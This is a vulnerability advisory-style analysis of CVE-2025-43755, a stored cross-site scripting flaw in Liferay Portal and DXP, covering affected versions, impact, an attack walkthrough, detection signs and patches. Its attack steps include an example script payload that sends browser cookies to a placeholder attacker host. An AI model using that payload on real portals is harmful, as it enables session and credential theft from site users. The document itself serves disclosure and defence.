CVE-2025-43755: 
Java vulnerability analysis and mitigation

CVE-2025-43755 is a stored cross-site scripting (XSS) vulnerability in Liferay Portal and Liferay DXP that allows a remote authenticated attacker to inject malicious JavaScript via the _com_liferay_layout_admin_web_portlet_GroupPagesPortlet_type parameter. It affects Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP versions spanning 2024.Q1.1–2024.Q1.17, 2024.Q2.0–2024.Q2.13, 2024.Q3.0–2024.Q3.13, 2024.Q4.0–2024.Q4.7, 2025.Q1.0–2025.Q1.13, 2025.Q2.0, and DXP 7.4 GA through Update 92. The vulnerability was published on August 21, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) and a CVSS v4.0 base score of 5.1 (Medium) (GitHub Advisory, Liferay Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically of the stored (persistent) variant. The root cause is insufficient sanitization of user-supplied input in the _com_liferay_layout_admin_web_portlet_GroupPagesPortlet_type parameter within the com.liferay.layout.admin.web portlet module (versions prior to 5.0.191). An authenticated attacker can submit a crafted payload to this parameter, which is then stored server-side and rendered unsanitized in the browser of any user who subsequently views the affected page, triggering arbitrary JavaScript execution. The fix was applied in commits to the liferay/liferay-portal repository (GitHub Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other users who visit the affected Liferay pages, potentially enabling session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, and manipulation of page content. Because the payload is stored server-side, all users accessing the compromised page are at risk without any further attacker interaction. Both confidentiality and integrity of the affected system and subsequent systems are impacted at a low level, with no direct availability impact (GitHub Advisory, Liferay Advisory).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time. The vulnerability requires the attacker to be authenticated (low-privilege account sufficient under CVSS v3.1), and user interaction is required for the stored payload to execute in a victim's browser. The EPSS score is approximately 0.041% (13th percentile), indicating a low near-term exploitation probability. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been reported (GitHub Advisory).

1. Authenticate: Obtain a low-privilege authenticated account on a vulnerable Liferay Portal or DXP instance (any account with access to the layout/pages administration portlet).
2. Navigate to the vulnerable portlet: Access the Group Pages administration interface (e.g., Site Administration → Pages) where the GroupPagesPortlet is rendered.
3. Inject the XSS payload: Submit a crafted request that includes a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in the _com_liferay_layout_admin_web_portlet_GroupPagesPortlet_type parameter, either via the UI form or a direct HTTP POST request.
4. Payload persistence: The malicious input is stored server-side without proper sanitization, persisting in the Liferay database.
5. Victim triggers execution: When any user (including administrators) navigates to the affected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (GitHub Advisory).

• Network: Outbound HTTP requests from user browsers to unexpected external domains shortly after visiting Liferay page administration views; unusual POST requests to Liferay layout admin endpoints containing script tags or encoded JavaScript in the GroupPagesPortlet_type parameter.
• Logs: Liferay access logs showing POST requests to layout administration URLs with anomalous or encoded values in the _com_liferay_layout_admin_web_portlet_GroupPagesPortlet_type parameter; repeated access to the same page by multiple users followed by outbound connections.
• File System / Database: Stored page type values in the Liferay database containing <script>, javascript:, or HTML event handler attributes (e.g., onerror, onload) in the GroupPagesPortlet_type field.

Liferay has released a patch in the com.liferay.layout.admin.web module version 5.0.191 and later. Administrators should upgrade Liferay Portal to a version beyond 7.4.3.132 and Liferay DXP to 2024.Q1.18+, 2025.Q1.14+, or any quarterly release beyond the affected ranges listed above. As interim mitigations, organizations should implement a strict Content Security Policy (CSP) to limit script execution, restrict access to the layout administration portlet to trusted users only, and apply the principle of least privilege for portal accounts. Refer to the official Liferay security advisory for specific patched build details (Liferay Advisory, GitHub Advisory).